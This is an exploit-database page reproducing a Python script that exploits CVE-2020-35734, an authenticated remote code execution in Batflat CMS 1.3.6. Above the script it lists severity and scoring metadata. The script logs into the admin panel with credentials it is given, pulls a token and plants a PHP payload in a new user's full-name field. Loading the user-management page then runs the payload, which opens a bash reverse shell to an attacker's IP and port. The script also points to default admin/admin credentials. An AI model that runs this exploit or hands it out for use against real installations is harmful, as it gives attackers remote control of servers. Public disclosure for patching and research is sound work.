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Batflat CMS 1.3.6 Remote Code Execution

CVE Category Price Severity
CVE-2020-35734 CWE-94 $5,000 High
Author Risk Exploitation Type Date
Eren u015eimu015fek High Remote 2021-02-18
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021020108

Below is a copy:

Batflat CMS 1.3.6 Remote Code Execution
# Exploit Title: Batflat CMS 1.3.6 - Remote Code Execution (Authenticated)
# Date: 2020-12-27
# Exploit Author: mari0x00
# Vendor Homepage: https://batflat.org/
# Software Link: https://github.com/sruupl/batflat/archive/master.zip
# Description: https://secator.pl/index.php/2021/02/15/batflat-v-1-3-6-authenticated-remote-code-execution-public-disclosure/
# Version: <= 1.3.6
# CVE: CVE-2020-35734

#!/usr/bin/python3

import requests
import sys
import re
from bs4 import BeautifulSoup
from termcolor import colored
from time import sleep

print(colored('''###########################################################''',"red"))
print(colored('''#######    Batflat authenticated RCE by mari0x00    #######''',"red"))
print(colored('''###########################################################''',"red"))
print("")

if len(sys.argv) != 6:
    print((colored("[~] Usage : python3 batpwnd.py <url> <username> <password> <IP> <PORT>","red")))
    print((colored("[~] Default credentials: admin/admin","red")))
    print((colored("[~] Example: python3 batpwnd.py http://192.168.101.105/ admin admin 192.168.101.101 4444","red")))
    exit()
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
IP = sys.argv[4]
PORT = sys.argv[5]


#Start session
s = requests.Session()
headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'}


#Authenticate
print((colored("[+] Attempting user login","blue")))

login_data = {
    "username": username,
    "password": password,
    "login": "",
   }

login = s.post(url+"admin/", login_data, headers=headers)
sleep(0.5)

#Get token
print((colored("[+] Retrieving the token","blue")))
r = s.get(url+"admin/", headers=headers).content
soup = BeautifulSoup(r, "lxml")
token = (re.search(r't=(.*?)">Add', str(soup)).group(1))
print((colored("[+] Token ID: " + token,"blue")))
sleep(0.5)

#Get URL
print((colored("[+] Getting the add-user endpoint URL","blue")))
r = s.get(url+"admin/users/add?t="+token, headers=headers).content
soup = BeautifulSoup(r, "lxml")
add_user_url = (re.search(r'action="(.*?)"', str(soup)).group(1))
sleep(0.5)

#Exploit
print((colored("[+] Adding pwnd user","blue")))
payload = "<?php system(\"/bin/bash -c 'bash -i >& /dev/tcp/" + IP + "/" + PORT + " 0>&1'\");?>"

add_user = {
    "username": (None, "pwnd"),
    "fullname": (None, payload),
    "description": (None, "pwnd"),
    "email": (None, "[email protected]"),
    "password": (None, "pwnd123"),
    "access[]": (None, "users"),
    "save": (None, "Save")
}

exploit = s.post(add_user_url, headers=headers, files=add_user)
sleep(0.5)

#Triggering reverse shell
print("")
print((colored("[+] Triggering the shell. Go nuts!","green")))
r = s.get(url+"admin/users/manage?t="+token, headers=headers)
            

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